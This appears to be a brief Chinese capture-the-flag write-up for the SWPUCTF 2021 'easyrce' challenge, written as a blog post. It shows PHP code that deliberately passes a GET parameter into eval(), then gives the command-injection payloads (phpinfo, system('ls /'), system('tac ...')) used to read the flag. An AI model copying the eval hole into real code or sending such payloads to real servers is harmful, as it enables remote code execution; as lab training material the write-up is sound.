[SWPUCTF 2021 新生赛]easyrce WP

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

直接有代码审计

没什么别的直接执行url传过来的命令

?url=phpinfo();

65f34267-f963-4272-af3f-32ab7bd80660

?url=system('ls /');

34d1f8ca-a97b-4ba7-860a-5d351816018c

?url=system('tac /flllllaaaaaaggggggg');

得flag

posted on 2026-04-29 21:18  雪落沧州前  阅读(9)  评论(0)    收藏  举报